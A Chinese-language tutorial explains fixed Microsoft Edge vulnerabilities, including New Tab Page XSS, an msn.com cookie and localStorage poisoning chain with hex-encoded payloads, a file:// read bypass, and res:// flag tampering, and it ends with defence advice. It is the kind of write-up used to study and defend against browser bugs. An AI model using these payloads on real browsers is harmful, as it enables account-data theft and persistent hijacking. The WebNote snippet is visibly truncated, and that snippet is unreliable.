微软Edge浏览器Web漏洞挖掘系列-从简单上手到高级利用
字数 1421 2025-08-24 10:10:13

Microsoft Edge浏览器漏洞挖掘与利用高级指南

一、Microsoft Edge浏览器漏洞概述

Microsoft Edge基于Chromium内核开发,与Chrome浏览器共享大部分代码基础。微软为Edge漏洞设立了高额赏金计划,符合资格的漏洞最高可获得3万美元奖励(约17万人民币)。

主要漏洞类型

  1. XSS漏洞(跨站脚本)
  2. 权限提升漏洞(EoP)
  3. 远程代码执行漏洞(RCE)
  4. 本地文件泄露漏洞
  5. 缓存中毒攻击

二、新标签页(NTP)中的XSS漏洞利用

漏洞背景

  • Edge的新标签页实际上是访问在线网站:https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing
  • 该页面具有高权限,可以访问普通网页无法使用的chrome对象函数

漏洞发现

  1. XSS注入点:发现Edge浏览器在展示常用网站(top site)时未过滤title标签,导致HTML标签被渲染
  2. 权限提升:通过XSS注入高权限页面,访问chrome对象中的特权函数

利用步骤

  1. 构造恶意网站,使其title包含XSS payload
  2. 用户访问该网站后,该网站会被Edge记录为常用网站
  3. 当用户打开新标签页时,XSS payload被执行

关键代码

// 通过chrome对象检查权限
console.log(chrome); // 比较普通页面和高权限页面的chrome对象差异

// 发现的特权函数
chrome.qbox.navigate({id:999999, url:null}); // 可导致浏览器崩溃

漏洞影响

  • 可导致浏览器崩溃(Crash)
  • 潜在的可利用崩溃可能导致远程代码执行(RCE)

三、新标签页(NTP)接管攻击

攻击链概述

  1. 在MSN子域名中发现XSS漏洞
  2. 通过XSS设置cookie,影响所有msn.com子域
  3. 利用cookie污染NTP页面缓存
  4. 持久化控制用户的新标签页

详细步骤

  1. 发现XSS漏洞:在technology.za.msn.com找到未过滤的POST参数

    POST /pebble.asp?relid=172 HTTP/1.1
    Host: technology.za.msn.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20
    
    startnum=90'<b>xss</b>
    
  2. 设置恶意cookie:通过XSS设置影响所有子域的cookie

    (qd = new Date()).setMonth(qd.getMonth() + 12);
    document.cookie = "domainId=" + ('q"*' + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') + '*"q') + ";expires=" + qd + ";domain=.msn.com;path=/";
    
  3. 污染localStorage:通过同源策略修改NTP页面缓存

    function() {
      for (q in localStorage) {
        if (q.indexOf('lastKnown') > -1) {
          with(qntpobj = JSON.parse(localStorage[q])) {
            qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
          }
          with(qab = qntpobj) {
            localStorage[q] = JSON.stringify(qab)
          }
        }
      }
    }()
    

攻击效果

  1. 窃取Microsoft账户信息
    chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})
    
  2. 修改用户自定义站点
    chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")
    
  3. 持久化跟踪用户行为

四、本地文件泄露与权限提升漏洞

WebNote功能利用

  1. WebNote特性:Edge的WebNote功能会将页面保存为本地HTML文件
  2. 注入点:通过blob URL欺骗WebNote保存恶意代码
    a=URL.createObjectURL(new Blob(['Create a WebNote and start drawing something.<script>window.onblur=e=>{opener.postMessage(script>'],{type:'text/html'}));
    history.replaceState('','',a.split('/')[3]);
    location.protocol='blob:http:';
    

文件读取限制绕过

  1. 限制:Edge限制HTML文件只能访问其所在目录及子目录
  2. 绕过方法:利用history API欺骗文件路径
    setTimeout(function(){
      history.pushState('','','file:///C:/a/fictional-non-existent.html')
    },500);
    setTimeout(function(){
      document.write("<a id=qa href=\"javascript:try{top.fetch('file:///C:/a/q.txt',{mode:'no-cors',credentials:'include'}).then((q)=>{return q.text()}).then((q)=>{alert(escape(q))});}catch(e){}\">aaaaa</a><script>qa.click()<\/script>")
      history.pushState('','','file:///C:/a/q.html');
      history.back();
    },1500);
    

权限提升方法

  1. 修改Edge实验性标志:通过res协议导航到内部页面
    var qpay=escape`history.replaceState("","","res://edgehtml.dll/flags.htm");setTimeout(function(){document.write('<iframe src="javascript:top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false)">');history.pushState('','','res://apds.dll/REDIRECT.HTML?target=javascript:123');history.back();},333);`;
    location="res://apds.dll/REDIRECT.HTML?target=javascript:${qpay}";
    

五、防御建议

  1. 用户防御

    • 定期更新Edge浏览器
    • 避免访问不可信网站
    • 谨慎使用WebNote功能
  2. 开发者防御

    • 对所有用户输入进行严格过滤
    • 实现严格的CSP策略
    • 隔离高权限页面的JavaScript执行环境
    • 对localStorage和cookie访问实施更严格的限制
  3. 微软已修复措施

    • 修复NTP页面的XSS过滤漏洞
    • 限制chrome特权API的访问
    • 加强WebNote功能的安全检查
    • 改进文件协议的安全性

六、总结

本指南详细介绍了Microsoft Edge浏览器中的多个高危漏洞及其利用方法,包括:

  1. 新标签页XSS漏洞
  2. 权限提升技术
  3. 缓存中毒攻击
  4. 本地文件泄露
  5. WebNote功能滥用

这些漏洞的组合利用可以导致严重后果,从信息泄露到完全控制用户浏览器。安全研究人员应了解这些技术以更好地发现和防御类似漏洞,而开发人员则应从中学习如何构建更安全的Web应用程序。

Microsoft Edge浏览器漏洞挖掘与利用高级指南 一、Microsoft Edge浏览器漏洞概述 Microsoft Edge基于Chromium内核开发,与Chrome浏览器共享大部分代码基础。微软为Edge漏洞设立了高额赏金计划,符合资格的漏洞最高可获得3万美元奖励(约17万人民币)。 主要漏洞类型 XSS漏洞(跨站脚本) 权限提升漏洞(EoP) 远程代码执行漏洞(RCE) 本地文件泄露漏洞 缓存中毒攻击 二、新标签页(NTP)中的XSS漏洞利用 漏洞背景 Edge的新标签页实际上是访问在线网站: https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing 该页面具有高权限,可以访问普通网页无法使用的chrome对象函数 漏洞发现 XSS注入点 :发现Edge浏览器在展示常用网站(top site)时未过滤title标签,导致HTML标签被渲染 权限提升 :通过XSS注入高权限页面,访问chrome对象中的特权函数 利用步骤 构造恶意网站,使其title包含XSS payload 用户访问该网站后,该网站会被Edge记录为常用网站 当用户打开新标签页时,XSS payload被执行 关键代码 漏洞影响 可导致浏览器崩溃(Crash) 潜在的可利用崩溃可能导致远程代码执行(RCE) 三、新标签页(NTP)接管攻击 攻击链概述 在MSN子域名中发现XSS漏洞 通过XSS设置cookie,影响所有msn.com子域 利用cookie污染NTP页面缓存 持久化控制用户的新标签页 详细步骤 发现XSS漏洞 :在 technology.za.msn.com 找到未过滤的POST参数 设置恶意cookie :通过XSS设置影响所有子域的cookie 污染localStorage :通过同源策略修改NTP页面缓存 攻击效果 窃取Microsoft账户信息 修改用户自定义站点 持久化跟踪用户行为 四、本地文件泄露与权限提升漏洞 WebNote功能利用 WebNote特性 :Edge的WebNote功能会将页面保存为本地HTML文件 注入点 :通过blob URL欺骗WebNote保存恶意代码 文件读取限制绕过 限制 :Edge限制HTML文件只能访问其所在目录及子目录 绕过方法 :利用history API欺骗文件路径 权限提升方法 修改Edge实验性标志 :通过res协议导航到内部页面 五、防御建议 用户防御 : 定期更新Edge浏览器 避免访问不可信网站 谨慎使用WebNote功能 开发者防御 : 对所有用户输入进行严格过滤 实现严格的CSP策略 隔离高权限页面的JavaScript执行环境 对localStorage和cookie访问实施更严格的限制 微软已修复措施 : 修复NTP页面的XSS过滤漏洞 限制chrome特权API的访问 加强WebNote功能的安全检查 改进文件协议的安全性 六、总结 本指南详细介绍了Microsoft Edge浏览器中的多个高危漏洞及其利用方法,包括: 新标签页XSS漏洞 权限提升技术 缓存中毒攻击 本地文件泄露 WebNote功能滥用 这些漏洞的组合利用可以导致严重后果,从信息泄露到完全控制用户浏览器。安全研究人员应了解这些技术以更好地发现和防御类似漏洞,而开发人员则应从中学习如何构建更安全的Web应用程序。